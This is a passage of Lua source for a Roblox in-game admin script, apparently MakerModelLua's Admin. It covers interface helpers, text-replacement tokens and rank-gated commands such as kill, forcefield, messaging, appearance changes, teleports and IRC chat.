5150 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
5151 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
5152 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
5153
5154 local CurrentSeconds = AllSeconds
5155 local Alive = true
5156 coroutine.wrap(function() for i = 0,AllSeconds do
5157 if not Alive then break end
5158 local Seconds = tostring(math.fmod(CurrentSeconds,60))
5159 local Minutes = tostring(math.floor(CurrentSeconds/60))
5160 if #Seconds == 1 then Seconds = "0"..Seconds end
5161 if #Minutes == 1 then Minutes = "0"..Minutes end
5162 Time.Text = Minutes..":"..Seconds
5163 wait(1)
5164 if CurrentSeconds <= 0 then
5165 Alarm:Play()
5166 Time.Text = "00:00"
5167 Part.Size = UDim2.new(1,0,1,0)
5168 Restore:Invoke()
5169 wait(4)
5170 Close:Invoke()
5171 break
5172 else
5173 Tick:Play()
5174 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
5175 CurrentSeconds = CurrentSeconds - 1
5176 end
5177 end end)()
5178
5179 Closed.Event:connect(function()
5180 if Alive == true then
5181 Alive = false
5182 Tick:Stop()
5183 Alarm:Stop()
5184 end
5185 end)
5186end)() end
5187
5188function GUI:DetachChat(Player)
5189 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5190 if Player:FindFirstChild("DetachChatMML") then
5191 Player.DetachChatMML:Invoke(true)
5192 wait()
5193 Player.DetachChatMML:Destroy()
5194 end
5195
5196 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
5197 local SG = Frame.Parent.Parent.Parent
5198
5199 local DCBF = Instance.new("BindableFunction", Player)
5200 DCBF.Name = "DetachChatMML"
5201 DCBF.OnInvoke = function(Remove)
5202 if Remove then
5203 SG:Destroy()
5204 end
5205 end
5206 CORE:ExecuteResource("CoreChat", SG)
5207
5208 local IsClosed = false
5209 Closed.Event:connect(function()
5210 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5211 IsClosed = true
5212 end)
5213
5214 coroutine.wrap(function()
5215 Player.CharacterRemoving:wait()
5216 if not IsClosed then
5217 IsClosed = true
5218 wait(1)
5219 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5220 end
5221 end)()
5222end
5223
5224function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
5225 if not Player then return nil end
5226 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5227 Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
5228
5229 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5230end)() end
5231
5232function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
5233 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5234 if not SoundID then SoundID = SoundInfo["ID"] end
5235 if not TitleText then TitleText = SoundInfo["Name"] end
5236 if not CreatorText then CreatorText = SoundInfo["Creator"] end
5237 if not InputSound then InputSound = Sound end
5238
5239 local NumSounds = 0
5240 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5241 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
5242 NumSounds = NumSounds + 1
5243 end
5244 end
5245
5246 local Size = UDim2.new(0.1, 100, 0.1, 100)
5247 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5248 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5249
5250 local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
5251 local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
5252 local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
5253 local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
5254 local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
5255 local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
5256 local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
5257
5258 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5259 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5260 if Sound then
5261 CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
5262 end
5263 if Time then
5264 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5265 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5266
5267 coroutine.wrap(function()
5268 local Alive = true
5269
5270 local function StopTimer() Alive = false end
5271 Closed.Event:connect(StopTimer)
5272 Minimized.Event:connect(StopTimer)
5273 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5274
5275 for i = Time,0,-1 do
5276 for ii = 1,10 do
5277 if Alive == true then
5278 Timer.Text = i
5279 wait(0.1)
5280 else
5281 break
5282 end
5283 end
5284 end
5285 if Alive == true then
5286 Close:Invoke()
5287 else
5288 Timer:Destroy()
5289 Stop:Destroy()
5290 end
5291 end)()
5292 end
5293end
5294
5295---- STRING REPLACEMENT OPERATIONS ----
5296
5297-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5298
5299-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5300
5301StringReplacements = {
5302 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5303 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5304 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5305 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5306 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5307 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5308 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5309 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5310 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5311 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5312
5313 {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
5314 {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
5315 {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
5316 {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
5317 {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
5318 {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
5319
5320 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5321 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5322 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5323 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5324 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5325 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5326 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5327 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5328 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5329 {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
5330 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
5331 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
5332 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
5333 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5334 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5335 {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
5336}
5337
5338---- COMMANDS ----
5339
5340-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5341
5342Commands = { -- can't make local
5343 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5344 print("[MML's Admin]: Test message from "..Speaker.Name)
5345 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5346 end};
5347
5348 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5349 local Players = STRING:Scan(Arguments[1], Speaker)
5350 for _,Player in pairs(Players) do
5351 if Player.Character then
5352 Player.Character:BreakJoints()
5353 end
5354 end
5355 end};
5356
5357 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5358 local Players = STRING:Scan(Arguments[1], Speaker)
5359 for _,Player in pairs(Players) do
5360 if Player.Character then
5361 Instance.new("ForceField", Player.Character)
5362 end
5363 end
5364 end};
5365
5366 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5367 local Players = STRING:Scan(Arguments[1], Speaker)
5368 for _,Player in pairs(Players) do
5369 if Player.Character then
5370 for _,Get in pairs(Player.Character:GetChildren()) do
5371 if Get:IsA("ForceField") then
5372 Get:Destroy()
5373 end
5374 end
5375 end
5376 end
5377 end};
5378
5379 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5380 for _,Player in pairs(Server.Players:GetPlayers()) do
5381 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
5382 end
5383 end};
5384
5385 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5386 for _,Player in pairs(Server.Players:GetPlayers()) do
5387 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
5388 end
5389 end};
5390
5391 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5392 local Players = STRING:Scan(Arguments[1], Speaker)
5393 for _,Player in pairs(Players) do
5394 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
5395 end
5396 end};
5397
5398 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5399 for _,Player in pairs(Server.Players:GetPlayers()) do
5400 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
5401 end
5402 end};
5403
5404 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5405 local Players = STRING:Scan(Arguments[1], Speaker)
5406 for _,Player in pairs(Players) do
5407 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
5408 end
5409 end};
5410
5411 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5412 local Players = STRING:Scan(Arguments[1], Speaker)
5413 local AgeList = {}
5414 for _,Player in pairs(Players) do
5415 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5416 end
5417 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5418 end};
5419
5420 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5421 local Players = STRING:Scan(Arguments[1], Speaker)
5422 local AgeList = {}
5423 for _,Player in pairs(Players) do
5424 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5425 end
5426 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5427 for _,Player in pairs(SecondPlayers) do
5428 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5429 end
5430 end};
5431
5432 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5433 local Storage = {{}, {}, {}, {}}
5434 local StorageText = {}
5435 local Formatted = {}
5436 for CommandNames,Data in pairs(Commands) do
5437 if not Data.Hidden then
5438 local RankNeeded = RANK:ConvertRank(Data[4])
5439 local Add = ""
5440 if Data[4] == "Non-Admin" then Add = "BLACK " end
5441 if Data[4] == "Admin" then Add = "CYAN " end
5442 if Data[4] == "Member" then Add = "BLUE " end
5443 if Data[4] == "Owner" then Add = "BROWN " end
5444 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5445 local AddBet = Settings.Bet
5446 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5447 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5448 table.insert(Storage[RankNeeded + 1], Add..Text)
5449 StorageText[Text] = CommandNames
5450 end
5451 end
5452 for Num,_ in pairs(Storage) do
5453 table.sort(Storage[Num])
5454 end
5455 for _,Table in pairs(Storage) do
5456 for _,Command in pairs(Table) do
5457 table.insert(Formatted, Command)
5458 end
5459 end
5460 local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5461 Clicked.Event:connect(function(Text)
5462 GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
5463 end)
5464 end};
5465
5466 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5467 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5468 end};
5469
5470 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5471 if GUI:GetColor(Arguments[1]) then
5472 local ColorScheme = string.upper(Arguments[1])
5473 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5474 Settings.ColorScheme = ColorScheme
5475 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5476 else
5477 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5478 end
5479 end};
5480
5481 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5482 local List = {}
5483 for Color,_ in pairs(Colors) do
5484 table.insert(List, Color.." "..Color)
5485 end
5486 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5487 end};
5488
5489 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5490 local Transparency = tonumber(Arguments[1])
5491 if Transparency then
5492 if Transparency > 90 then Transparency = 90 end
5493 if Transparency < 10 then Transparency = 10 end
5494 Settings.TransparencyScheme = Transparency/100
5495
5496 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5497 else
5498 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5499 end
5500 end};
5501
5502 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5503 if Fonts[Arguments[1]] then
5504 Settings.Font = Arguments[1]
5505 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5506 end
5507 end};
5508
5509 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5510 Settings.Fun = not Settings.Fun
5511 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5512 end};
5513
5514 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5515 Settings.DisableAbuse = not Settings.DisableAbuse
5516 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5517 end};
5518
5519 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5520 local List = {}
5521 for Font,_ in pairs(Fonts) do
5522 if Font == Settings.Font then
5523 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5524 else
5525 table.insert(List, Font.." "..Font)
5526 end
5527 end
5528 GUI:ListGui(Speaker, "Font list", List, 44453197)
5529 end};
5530
5531 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5532 local SoundID = tonumber(Arguments[1])
5533 if SoundID then
5534 Settings.ExecuteNotificationSound = SoundID
5535
5536 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5537 else
5538 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5539 end
5540 end};
5541
5542 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5543 Settings.ExecuteNotificationSound = 0
5544 end};
5545
5546 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5547 local Players = STRING:Scan(Arguments[1], Speaker)
5548 for _,Player in pairs(Players) do
5549 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5550 end
5551 end};
5552
5553 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5554 local Players = STRING:Scan(Arguments[1], Speaker)
5555 for _,Player in pairs(Players) do
5556 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5557 end
5558 end};
5559
5560 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5561 local Players = STRING:Scan(Arguments[1], Speaker)
5562 for _,Player in pairs(Players) do
5563 coroutine.wrap(function()
5564 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5565 wait(1)
5566 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5567 end)()
5568 end
5569 end, Hidden = true};
5570
5571 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5572 local Players = STRING:Scan(Arguments[1], Speaker)
5573 for _,Player in pairs(Players) do
5574 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5575 end
5576 end};
5577
5578 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5579 local Players = STRING:Scan(Arguments[1], Speaker)
5580 for _,Player in pairs(Players) do
5581 CORE:ChangeName(Player, Arguments[2])
5582 end
5583 end};
5584
5585 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5586 local Players = STRING:Scan(Arguments[1], Speaker)
5587 for _,Player in pairs(Players) do
5588 if Player.Character then
5589 local Head = Player.Character:FindFirstChild("Label")
5590 if Head then Head:Destroy() end
5591 local Head = Player.Character:FindFirstChild("Head")
5592 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5593 end
5594 end
5595 end};
5596
5597 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5598 local Players = STRING:Scan(Arguments[1], Speaker)
5599 for _,Player in pairs(Players) do
5600 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5601 end
5602 end};
5603
5604 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5605 local Players = STRING:Scan(Arguments[1], Speaker)
5606 for _,Player in pairs(Players) do
5607 local _,RankNum = RANK:GetRank(Player)
5608 if RankNum <= RANK:ConvertRank(Rank) then
5609 Server.TS:Teleport(Arguments[2], Player)
5610 end
5611 end
5612 end};
5613
5614 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5615 local Players = STRING:Scan(Arguments[1], Speaker)
5616 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5617 if Suc then
5618 for _,Player in pairs(Players) do
5619 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5620 end
5621 else
5622 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5623 end
5624 end};
5625
5626 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5627 local Players = STRING:Scan(Arguments[1], Speaker)
5628 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5629 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5630 if Suc then
5631 for _,Player in pairs(Players) do
5632 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5633 end
5634 else
5635 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5636 end
5637 end)
5638 end};
5639
5640 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5641 local Players = STRING:Scan(Arguments[1], Speaker)
5642 for _,Player in pairs(Players) do
5643 local _,RankNum = RANK:GetRank(Player)
5644 if RankNum < RANK:ConvertRank(Rank) then
5645 Server.TS:Teleport(155307015, Player)
5646 end
5647 end
5648 end};
5649
5650 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5651 local Players = STRING:Scan(Arguments[1], Speaker)
5652 for _,Player in pairs(Players) do
5653 local _,RankNum = RANK:GetRank(Player)
5654 if RankNum < RANK:ConvertRank(Rank) then
5655 Server.TS:Teleport(347911447, Player)
5656 end
5657 end
5658 end};
5659
5660 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5661 local Players = STRING:Scan(Arguments[1], Speaker)
5662 for _,Player in pairs(Players) do
5663 CORE:GenerateShield(Player)
5664 end
5665 end};
5666
5667 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5668 local Players = STRING:Scan(Arguments[1], Speaker)
5669 for _,Player in pairs(Players) do
5670 if Player.Character then
5671 local Shield = Player.Character:FindFirstChild("Shield")
5672 if Shield then Shield:Destroy() end
5673 end
5674 end
5675 end};
5676
5677 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5678 local Num = tonumber(Arguments[1])
5679 if Num and Num ~= 0 then
5680 local Random = math.random(1,math.abs(Num))
5681 if Random == math.random(1,math.abs(Num)) then
5682 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5683 else
5684 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5685 end
5686 else
5687 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5688 end
5689 end};
5690
5691 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5692 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5693 IRC:AddChat(Speaker.Name, Arguments[1])
5694 end};
5695
5696 --[[
5697 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5698 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5699 if Res then
5700 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5701 end
5702 end, Http = true};
5703
5704 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5705 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5706 if Res then
5707 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5708 end
5709 end}, Http = true;
5710 ]]
5711
5712 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5713 IRC:Quit("Reconnecting")
5714 IRC:ConnectToServer(Settings.IRCServer)
5715 end};
5716
